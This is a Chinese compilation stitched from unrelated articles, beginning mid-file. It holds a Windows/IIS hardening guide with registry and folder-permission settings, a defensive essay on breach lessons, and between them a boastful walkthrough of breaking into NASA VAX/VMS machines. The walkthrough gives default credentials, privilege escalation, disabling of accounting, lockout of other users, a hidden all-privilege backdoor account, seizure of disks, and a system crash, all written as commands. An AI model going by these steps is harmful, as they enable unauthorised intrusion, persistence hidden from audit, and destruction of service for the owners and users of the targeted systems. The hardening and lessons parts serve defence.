@=”C:\\WINNT\\system32\\shell32.dll”
“ThreadingModel”=”Apartment”
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\ProgID]
@=”Shell.Application_ajiang.1″
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\TypeLib]
@=”{50a7e9b0-70ef-11d1-b75a-00a0c90564fe}”
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\Version]
@=”1.1″
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\VersionIndependentProgID]
@=”Shell.Application_ajiang”
[HKEY_CLASSES_ROOT\Shell.Application_ajiang]
@=”Shell Automation Service”
[HKEY_CLASSES_ROOT\Shell.Application_ajiang\CLSID]
@=”{13709620-C279-11CE-A49E-444553540001}”
[HKEY_CLASSES_ROOT\Shell.Application_ajiang\CurVer]
@=”Shell.Application_ajiang.1″
你可以把这个保存为一个.reg文件运行试一下,但是可别就此了事,因为万一黑客也看了我的这篇文章,他会试验我改出来的这个名字的。
6、防止列出用户组和系统进程
在阿江ASP探针1.9中结合7i24的方法利用getobject(“WINNT”)获得了系统用户和系统进程的列表,这个列表可能会被黑客利用,我们应当隐藏起来,方法是:
【开始→程序→管理工具→服务】,找到Workstation,停止它,禁用它。
防止Serv-U权限提升
其实,注销了Shell组件之后,侵入者运行提升工具的可能性就很小了,但是prel等别的脚本语言也有shell能力,为防万一,还是设置一下为好。
用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。
另外注意设置Serv-U所在的文件夹的权限,不要让IIS匿名用户有读取的权限,否则人家下走你修改过的文件,照样可以分析出你的管理员名和密码。
利用ASP漏洞攻击的常见方法及防范
一般情况下,黑客总是瞄准论坛等程序,因为这些程序都有上传功能,他们很容易的就可以上传ASP木马,即使设置了权限,木马也可以控制当前站点的所有文件了。另外,有了木马就然后用木马上传提升工具来获得更高的权限,我们关闭shell组件的目的很大程度上就是为了防止攻击者运行提升工具。
如果论坛管理员关闭了上传功能,则黑客会想办法获得超管密码,比如,如果你用动网论坛并且数据库忘记了改名,人家就可以直接下载你的数据库了,然后距离找到论坛管理员密码就不远了。
作为管理员,我们首先要检查我们的ASP程序,做好必要的设置,防止网站被黑客进入。另外就是防止攻击者使用一个被黑的网站来控制整个服务器,因为如果你的服务器上还为朋友开了站点,你可能无法确定你的朋友会把他上传的论坛做好安全设置。这就用到了前面所说的那一大堆东西,做了那些权限设置和防提升之后,黑客就算是进入了一个站点,也无法破坏这个网站以外的东西。
QUOTE:
c:\
administrators 全部
system 全部
iis_wpg 只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限
c:\inetpub\mailroot
administrators 全部
system 全部
service 全部
c:\inetpub\ftproot
everyone 只读和运行
c:\windows
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取
Users 读取和运行(此权限最后调整完成后可以取消)
C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取
C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取
C:\WINDOWS\Microsoft.Net\temporary ASP.NET Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 全部
c:\Program Files
Everyone 只有该文件夹
不是继承的
列出文件夹/读数据
administrators 全部
iis_wpg 只有该文件夹
列出文件/读数据
读属性
读扩展属性
读取权限
c:\windows\temp
Administrator 全部权限
System 全部权限
users 全部权限
c:\Program Files\Common Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users(如果有这个用户)
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
如果安装了我们的软件:
c:\Program Files\LIWEIWENSOFT
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取
c:\Program Files\Dimac(如果有这个目录)
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部
c:\Program Files\ComPlus Applications (如果有)
administrators 全部
c:\Program Files\GflSDK (如果有)
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
Everyone 读取和运行,列出文件夹目录,读取
c:\Program Files\InstallShield Installation Information (如果有)
c:\Program Files\Internet Explorer (如果有)
c:\Program Files\NetMeeting (如果有)
administrators 全部
c:\Program Files\WindowsUpdate
Creator owner
不是继承的
只有子文件夹及文件
完全
administrators 全部
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
c:\Program Files\Microsoft SQL(如果SQL安装在这个目录)
administrators 全部
Service 全部
system 全部
c:\Main (如果主控端网站放在这个目录)
administrators 全部
system 全部
IUSR_*,默认的Internet来宾帐户(或专用的运行用户)
读取和运行
d:\ (如果用户网站内容放置在这个分区中)
administrators 全部权限
d:\FreeHost (如果此目录用来放置用户网站内容)
administrators 全部权限
SERVICE 读取与运行
system 读取与运行(全部权限,如果安装了一流信息监控)
F:\ (如果此分区用来放置SQL2000用户数据库)
administrators 全部权限
System 全部权限
SQL2000的运行用
只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限
F:\SQLDATA (如果此目录用来放置SQL2000用户数据库)
administrators 全部权限
System 全部权限
SQL2000的运行用户全部权限
从安全角度,我们建议WebEasyMail(WinWebMail)安装在独立的盘中,例如E:
E:\(如果webeasymail安装在这个盘中)
administrators 全部权限
system 全部权限
IUSR_*,默认的Internet来宾帐户(或专用的运行用户)
只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限
E:\WebEasyMail (如果webeasymail安装在这个目录中)
administrators 全部
system 全部权限
SERVICE 全部
IUSR_*,默认的Internet来宾帐户 (或专用的运行用户)
全部权限
C:\php\uploadtemp
C:\php\sessiondata
everyone
全部
C:\php\
administrators 全部
system 全部权限
SERVICE 全部
Users 只读和运行
c:\windows\php.ini
administrators 全部
system 全部权限
SERVICE 全部
Users 只读和运行

黑客五大步入侵美国太空总署

转自:IT专家网
警告:本章涉及某些军事机密,所以在某些地方作了模糊处理。本文危险度极高,请勿模仿。刊登本文的目的是为了让大家对VAX计算机和VMS操作系统有所了解。
在一些黑客入侵活动中,很多黑客根本就不屑于入侵那些的小得可怜的漏洞网站,因为这对那些喜欢刺激的黑客来说,根本就不算什么。用他们的话来说,入侵那些网站只是他们在大脑疲劳时作的一种休闲游戏而已。而对于这些危险级的黑客来说,他们真正感兴趣的是那些平时难得一见放在重要机构和实验室里的计算机,只有那些东西能够真正的刺激起他们的大脑神经系统的活跃,也是真正能够让他们提起胃口的东西。
在这些众多的提味剂中被美国太空总署、美国中央情报局等重要机构青睐的VAX计算机和它的VMS操作系统成为了超级黑客们的最爱,这些东西都能够刺激他们不断的研究试图入侵这些重要机构的每一次微小的机会。
什么是VAX计算机?VMS操作系统是什么?
欲读懂后面的黑客手记,请先了解下面所讲的基础知识。
那么什么是VAX计算机?VMS操作系统又是什么?以下我们就简单地介绍一下这些摆放在实验室里的大型机核心系统。
在1978年,DEC公司建立了第一个基于VAX( virtual address extension)即虚拟地址扩展的计算机体系,它是DEC计算机系统特有的复杂指令计算(CISC)体系结构的计算机VAX11、780。这台大家伙在当时是基本32位的计算机,并且能够有高达1MIPS的运算性能。在那个年代,这台计算机的速度和性能都是无与伦比的。在当时要值$200,000。但显然他是最棒的。
更加值得一提的是VAX是多用户系统,它所采用的网络应用包括:
通信终端协议(CTERM):DNA为VMS系统提供的虚拟终端服务使用该协议,可以用于任何连接,是LAT的可选协议。
分布式命名服务(DNS):DNS为VMS系统的通用命名服务,允许对用户、文件和节点等进行命名,使其成为整个网络共知的标识。
数据存取协议(DAP):DAP是为VMS系统提供远程文件存取的老的协议集。DAP将被DFS所代替。
分布式文件系统(DFS):和网络文件系统相似,目录可以标识为共享,并且能够装到远程节点上。
分布式队列服务(DQS):主要用来进行打印处理,该服务使VMS能够在网上作业队列。“作业控制”将作业从队列中移出,并将其传至协同程序,由它来处理作业。
VAX计算机专用的终端只能用于VAX系统上,并且可能用于Internet服务,它的唯一性和不兼容性保持着它的安全基础。但是对一个非常了解VAX系统的黑客来说这些并不算是什么,他们一样可以利用PC机上的软件来同VAX系统取得连接,并会想方设法摧毁他们,但是每一个黑客的必须要有一个 VT100的终端仿真程序,当然这并不难搞到。
那么什么是VMS哪?VMS(Virtual Memory System)即虚拟内存系统,是比较特别的一种计算机网络操作系统,但是VMS和其他的系统还是有那么一些相似之处的,比如它的登录介面就比较象UNIX系统的。你首先看到的是一个登录信息Username:;接下来便是用户密码: password:如果你能够正确的输入信息的话,那么你就会进到一个以$为提示符的字符操作环境下。当你登录成功后,还会有一系列的提示信息,包括你的username,你的process ID,等等。如下表:(此表欠奉:)
对于一个熟悉操作系统的黑客来说,他会很快地感觉到VMS这个系统和其他的系统如UNIX等操作系统基本一样,一个优秀的黑客在短期内都会将它使用得很得心应手,对于他们来说这些系统的唯一区别只是命令提示不太一样而已。举个例子,如果UNIX系统中的C shell要调用设备的话,就要在命令行输入SHELL设备的调用命令。而VMS中假设调用的这个设备就是history(Dos有相应的模块,叫做Dos提示符),VMS系统中,如果你一直按住Ctrl键,并且输入字符B,那么就会停止其他形式的命令进程,列出所有目前的进程,返回进程,并且报告目前的用户统计,以便进行修改。想要入侵VMS这些都是必备的基础知识。
当然在Internet上还存在许多的VAM系统的服务器,而且至今来说这个古老的VMS系统还是很有活力的,当然他仍然在不但地进行血液的更新,VMS最新的操作系统叫做Open/VMS网络操作系统。OpenVMS主要可以运行在VAX和Alpha系统的主机上,Alpha是一个非常快的工作站系统,而且它可以运行Windows NT,OpenVMS,Digital UNIX等多种系统。这是黑客们梦寐以求的东西,在早些时候许多的黑客为了追求到Alpha工作站,宁肯放弃高薪而去一些麻木而没有活力的科研机构。
目前公共在线的VAX主机大都已经时间比较长了,比如美国多所大学的图书馆的系统,那些都已经非常非常old的VAX系统了。但是在那里我们可以了解到一些VAX/VMS和详细的情况,这些对于一个对VAX一无所知的人来说是一个很好的机会。
VMS系统的安全情况
想要入侵这些重要的机构,黑客们必须了解VMS网络系统的安全性。在VMS系统中安全是经过精心考虑的,因为这些大家伙都是使用在一些重要的研究和军事机构里的,安全问题成为了VMS的重要性能。比如,VMS基本上都有一个强有力的有读写控制,(当然这些都还要看系统管理员的设置情况而定)。在 VMS系统中的读写控制和Novel Netware 平台下的类似,下面就是它所提供的简单的控制命令:
Time(时间):你可以控制哪一天,哪个用户,可以在哪个小时来访问这个系统,默认为一个星期7天,一天24小时,就象是防火墙一样,你可以精确的控制每一个用户。
Resources(资源):你可以控制每一个登录用户的访问权限,可以对每一个目录设置权限。
当然这些都只是VMS系统对于访问控制的一个简单的举例而己。实际上,在VMS系统中还有多重的特权限制,并且可以用于工作组。换句话说,在 VMS系统中,读写控制是一个非常繁杂的设置,有好多好多的选项。正是由于这个原因,因此很少有黑客能够突破这个系统。有时,这种繁杂的设置反而会成为它自身带给网管们的一项非常繁重的工件。这个星球上的聪明的黑客已经意识到了这一点了:
VMS系统的最大的优点就是它的巨大的灵活性。系统管理员可以选择实现或是忽略这种复杂的设置,那么就会给黑客留下机会了。
攻击一个VAX(或是以VMS作为操作系统)的网络操作系统来说,同攻击UNIX系统有很大的不同,首先VMS这个系统的password文件的存放和它的结构和UNIX有很大的不同,UNIX系统下是放在/etc/passwd 这个文件中,这个文件包括定义的用户名,password,登录信息,以及它所在的工作组。与此对比,VMS系统的这个文件不但包括以上这些简单的信息,还有好多的其他的信息:
在每一个运行VMS的DEC主机都会将所有用户的档案资料放在一个文件当中,叫做SYSUAF(System User Authorization File)对于每一个使用此系统的用户包括系统管理员,都有一个record来记录下用户的登录时间和访问权限,而且它还给出了password的详细的时间,password的长度,以及用户登录时所有的详细信息。这真让黑客头疼。
但是就是这种难以理解的password文件结构也有它自身的漏洞,那就是如果一个黑客成功的获得了对这个文件操作的权力,并且修改了它,那么整个系统都将面临危险,然而发生这种情况的可能性微乎其微。
一般情况下用户通过一种叫做UIC(User Identification Code)(用户识别码)的程序才能登录系统。这和UNIX系统中的GID是非常相近的。它识别出登录用户,还有该用户的访问权限,以及工作组,因此,你可以想象这种UIC系统是一个统一的数据库。 攻击美国太空总署Vax-11/780,我想看看美国到底登上月球了吗,有没有外星人跟他们接触,天哪,这一切都是那么的神气,对我就像是一块磁铁,将我所有的激情和目光都拉上了这个地方。http://www.nasa.gov就是他的老巢,但是我对这个并不感兴趣,因为他一样采用的都是普通的WEB服务器。我的目标是突破它的内部网络,也就是NASA的科研核心网络。
入侵美国太空总署第一步:登录
有两种方法可以登录VMS系统。第一种是正常登录,另外一种就是利用试探密码以及欺骗。我们是黑客,优秀的黑客!我们当然选择欺骗(Cheating)登陆,如果你想要成功的混进VAX系统,你可以利用两种方法:
1、用利用系统中现有的其他人的用户名和密码。
2、利用默认的密码进行欺骗进入。
(1)利用其他人的密码:
这种方法既有好的一面,也有不好的一面,好的一方面是你不必新建一个帐号,或是用一个受限制的帐号,那么在这种情况下系统管理员什么都不会觉察到,坏的一方面就是你所利用的帐号的主人可能会注意到。你想想,如果他并没有登录,但是又显示它在线,他会有什么感觉,而且会留下登陆的种种记录,并且他这个帐号还可能没有我们所需要获得的权限。获得其他人的密码比较简单,只要你进入系统,即使只是很小的权限,那么你只要向系统管理员的机器发送一个程序,有点类似于现在的木马或者是欺骗工具。它包含如同登录时需要的屏幕一样,那么,你就可能获得他的密码,还有用户帐号,再把这个文件从远程的打印机打印出来或是输出到一个文件上,当然你一定记得要把这个文件删除掉。
(2)利用系统的默认的密码:
在VAX系统建立时,有4个默认的用户帐号还有密码,它有可能被自修改或是删除,但是系统管理员通常有可能会遗留下一两个以备将来系统遇到麻烦的时候进行恢复工作,这4个帐号和密码分别是:
Name Password SYSTEM MANAGER or OPERATOR FIELD SERVICE or TEST DEFAULT USER or DEFAULT SYSTEST UETP or SYSTEST
我的经验告诉我,一般来说FIELD SERVICE这个帐号都会起作用。一旦我们登录了该系统,如果你想要获得最高的权限,你就应该输入:
$SET PROC/PRIV=ALL
‘$’是系统提示,如果你要是本身获得的权限不够,就会系统提示你不能够执行该命令,那么你就要换一个password,才能得到你想要的特权。是不是很令我们头疼?不过一般的情况下方法还是奏效的。
入侵美国太空总署第二步:浏览该系统
成功的利用完第一步,我们已经可以顺利的在VMS系统上登陆了,下一步要做什么呢?当然是要获取更多的信息,但是首先,我们一定要确认是否能够返回,那么我们就先要这样做:
$SET ACCOUNTING/DISABLE
这将会禁止VMS系统中那个讨厌的跟踪程序对我们的跟踪,再输入:
$SHOW USERS
看一看谁在系统上,如果你看到我们自己的帐号是两个的话,赶快退出来。我们不想因为做傻事而被捉吧,但是我们一旦确认无人能够监视我们的行动,那么我们接下来就输入:
$SET LOGINS/INTERACTIVE=0
这将禁止其他人登录到这台机器上,下一步就要把其他的人踢出去。
$SHOW USERS
系统可能返回如下的信息:
VAX/VMS INTERACTIVE USERS 23-JUL-2000 09:37:15.54 Total number of interactive users= 6 Username Process Name PID Terminal BRUNO BRUNO 0000026B TTD3: FIELD FIELD 00000FF2 TTC2: JOHNSON _TTD5: 0000026D TTD5: LINCOLN LINCOLN 0000026A TTD2: CYBERPUNK CYBERPUNK 000001D8 TTD4: HARDCORE HARDCORE 00000263 TTC0:
现在,如果你以FIELD用户名登录的话,我们要通过验证的话,输入:
$STOP/ID=PID
这样的话,就可以显示除我们之外的用户的情况,并且把的用户踢出去,最好在晚上用户少时这样做,因为如果用户管理员收到好多的控诉信息的话,他就可能会发现并捉住你。接下来,我们要确认,我们能够再次登录到这个系统上,为了能达到这一点:
$SET DEF SYS$SROOT:[SYSEXE]
这样的话,你将进入到SYS$SROOT的SYSEXE目录下一行:
$RUN AUTHORIZE
系统返回如下信息:
UAF> – now type: UAF> ADD WASTOID /PASSWORD= ZEDNET /UIC=[099,900] /CPUTIME=0- /DEVICE=SYS$SYSROOT /DIRECTORY= [SYSEXE] /PRIVS=ALL /NOACCOUNTING UAF> EXIT
这是什么意思呢,让我们往下做:
ADD WASTOID-加入一个记录名字叫WASTOID
/PASSWORD=ZEDNET-为新帐号加密码
/CPUTIME=0-将你的帐号的访问时间变为不限时,
/UIC=[099,900]
/DEVICE=SYS$SYSROOT-设置你的工作驱动器
/DIRECTORY=[SYSEXE]-设置你的工作目录
/PRIVS=ALL-获得最高的操作权限
/NOACCOUNTING-禁止系统跟踪
好了,你现在就有了所有的特权,并且有了合法的帐号,返回系统。
入侵美国太空总署第三步:系统的基础
如果你从没有用过VAX系统的话,可以看一下这些提示:
HELP-将会列出所有的命令,并且能够给你详细的解释
SET DEF drive:[directory.sub1,sub2]-设置默认的工作驱动器还有工作目录
TYPE或是T-和DOS下的TYPE一样,是显示文件内容的:如T file.txt
PRINT或是PR-打印文件,如:PR file.txt
DIR或是D-显示工作目录
DIR/PRINT 或D/PRINT在屏幕和打印机上同时显示。
RUN或是R-执行.exe的可执行文件,如:r filename.exe
好了,准备的比较充分了
入侵美国太空总署第四步:开工了
1、修改文件:
这个世界上最美好的事情就是剥夺他本人的文件的控制权了,当你看到他对自己的文件束手无策时,我们可能会高兴手舞足蹈。让我们偷着乐吧。你可以用:set protection 这个命令,如果你想一个文件只能由你自己访问,而其他的任何人都无权访问时,你可以运行
$set prot=(s:rwed,o,g,w) test.dat
你就有了完全的特权,其他的人包括文件的拥有者,工作组,以及管理员都没有权限。
2、磁盘:
你可以对整个磁盘都一次加以控制,比如你要控制驱动器:dirver1
$dismount driver1 $deallocate driver1 $set prot(s,o;r,g,w)/device/owner_vic[099,900] driver1 $allocate driver1 $mount driver1
这样你就有了一个个人控制的驱动器了。
3、打印机:
我们知道如果要打印一个文件只要输入:
$pr hacking.dat
如果运行
$stop/abort lpao
那么,系统就会停止打印机目前的工作并将它踢出队列。
$delete/queve lpao
这会将队列中所有的项目全部清除,那么打印机就是你一个人的了。如此等等,我们只介绍几种,其他的就看你自己的了。
入侵美国太空总署第五步,安全撤退
1、opccrash
如果要关闭系统的话:
$run sys$system:opccrash
系统会提示:
system shutdown complete –use console to halt system(请使用控制台来关闭系统)
输入:
^P >>>-type: >>>HALT HALTED AT 8000708A
2、破坏性退出
^P >>>HALT >>>@CRASH
这样一整套入侵美国太空总署的行动,就让我们躲在一边偷偷看那些老外们忙活去吧,当然我们也不能忘记“正事”,这就是进入它的数据库,看看那些他们的小秘密。

防止被安全突破的五个教训
我们从这些案例和其它现实世界的入侵中归纳了五个教训:认真对待Web应用程序安全;增加安全控制层次;理解安全技术的局限性;评估第三方系统;要知道糟糕的事件反应比没有事件反应更糟糕。
1.认真对待Web应用程序安全
Web应用程序经常是入侵者的起点。我们继续看到IT团队不断地给系统使用补丁和部署防火墙,但是,机构却没有防备有漏洞的应用程序。这些安全漏洞是很容易利用的。
一个机构的最佳防御是把安全集成到应用程序开发的声明周期中。与对正在使用的应用程序打补丁相比,制作安全缺陷较少的代码会提供更大的回报。在质量保证或者评估过程中使用IBM的AppScanner或者惠普的WebInspect等Web应用程序扫描技术是非常重要的。购买而不是制作Web应用程序的企业应该评估这些应用程序或者要求厂商执行由第三方验证的安全评估。
Web应用程序防火墙是一个备用的安全控制。这些产品旨在发现已知的攻击和找出可能支持入侵意图的可疑行为。然而,它们只是辅助性的。它们不能解决有瑕疵的开发做法和有漏洞的应用程序的根本症候。一个Web应用程序防火墙也许会让你花一些时间。但是,企业不修复这个风险的根本原因是愚蠢的。
2. 增加辅助的控制
内部防火墙、加密或者数据库监视软件等辅助控制措施能够提前向安全人员报警或者在入侵者绕过主要控制措施之后阻止其攻击。遗憾的是,我们很少看到有效地实施辅助控制。
例如,我们看到企业在网络内部增加额外的一层防火墙以便更好地隔离重要的系统。我们强烈推荐采用这种做法。然而,人们常见的是缺少政策设置的内部防火墙,简单地允许所有的通讯经过,或者是采用没有人理解的笨拙的政策的防火墙,因为缺少说明书。在我们处理的一些案例中,如果他们恰当地设置防火墙,有些攻击是可以阻止的。
聪明的机构将发现他们能够在什么地方使用分段以便更好地隔离敏感的或者重要的系统和数据,并且根据那个分段创建第二和第三控制系统。这个问题是 “如果系统被攻破,对于我们损害最严重的东西是什么?”因此,厂商会在存储产品设计或者控制组装线的系统周围增加安全层次。一个工具也许会分段网格控制系统。一个支付处理机构或者商家应该把重点放在处理支付的系统上。
但是,不要停留在加入这些备用的控制措施,然后就不管了。要当心只顾减少经营开支从而完全导致减少风险的控制价值失效的笨蛋政策。配置、记载和监视这些控制措施。投入一些资源定期检查控制系统的记录,小心修改和异常活动。做得正确,这些额外的控制措施就能挽救你。做得不对,它们就会提供虚假的安全感,使这个环境更复杂。
3. 了解你的局限性
第三个教训是理解你的安全系统的局限性。我们有杀毒软件、防火墙、网络和主机入侵检测系统、身份识别、PKI、VPN、NAC、安全漏洞扫描器、数据丢失预防工具、安全信息、事件管理平台。尽管如此,安全突破仍在继续发生。
这是因为控制措施的发展没有攻击者的能力进步的那样快。我们研究了一些案例。在其中的一些案例中,一些完全使用了更新的杀毒软件特征的系统没有检测出活跃的木马程序、键盘记录器和嗅探器。大多数病毒特征的开发周期仍然是采用过时的假设制作的。这个假设是恶意软件成功地广泛传播,让厂商了解这个恶意软件,然后制作一个这个恶意软件的特征。此外,攻击者利用包装把自己隐藏起来以躲避病毒扫描器。
安全漏洞扫描器也跟不上已经发布的安全漏洞,不能及时有效地实施应用程序扫描。入侵检测和防御系统也像杀毒产品一样有同样的缺陷。
IT团队能做什么?对于最开始应用安全技术的人们来说,要适度信任技术,不要过多地信任技术。不要指望你的杀毒软件能够找到客户的恶意软件。安全漏洞扫描器只能作为辅助的测试手段以保证你的补丁管理系统在发挥作用。假设你的防火墙能够封锁自动的扫描,可是一个熟练的攻击者会穿过周边设备。
入侵检测和防御系统有时候是有用的。但是,我们经常发现路由器网络流量数据和防火墙“允许”记录能够提供黑客去了哪里的更好的信息,帮助测量突破影响的范围。
从运营的观点看,可以考虑部署一种事件管理技术以得到多个系统活动的状况,或者至少实施集中的记录管理以帮助搜索、评估和存储记录。
还要考虑你的对手的技能和动机,以及有必要采取什么控制措施检测他们的存在。理解他们的能力正在变得越来越重要。
4. 信任,但是要验证
第四个教训是简单的,但是经常容易被忘记:评估第三方的系统。正如我们的售货机的例子显示的那样,尽职的安全调查应该由内部团队或者一个第三方的应用程序安全公司执行。不要忽略容易摘到的果子,如默认的口令。
5. 做好应对事件的计划
最后,要知道糟糕的事件反应比根本没有事件反应更糟糕。我们经常与IT团队销毁了证据的企业打交道。他们销毁证据也许是故意的,也许是因为其它原因,如重建系统、删除硬盘数据、进行数据库分段或者允许第三方提供商访问被攻破的系统。发现这些问题变得很严重,他们可能会销毁或者破坏能够在犯罪起诉中使用的证据。
要拥有一个基本的程序–甚至就像“在你检查事件反应程序之前什么也不要做”这样最基本的程序。有许多免费的材料,范围包括从NIST 800-61指南到Visa的“如果被攻破”指南。使用网络搜索很容易找到这两个文件。
安全突破对于有关的企业和IT专业人员是很痛苦的。但是,沉默并不总是最佳的反应。揭露常见的错误可帮助企业理解他们面临什么问题。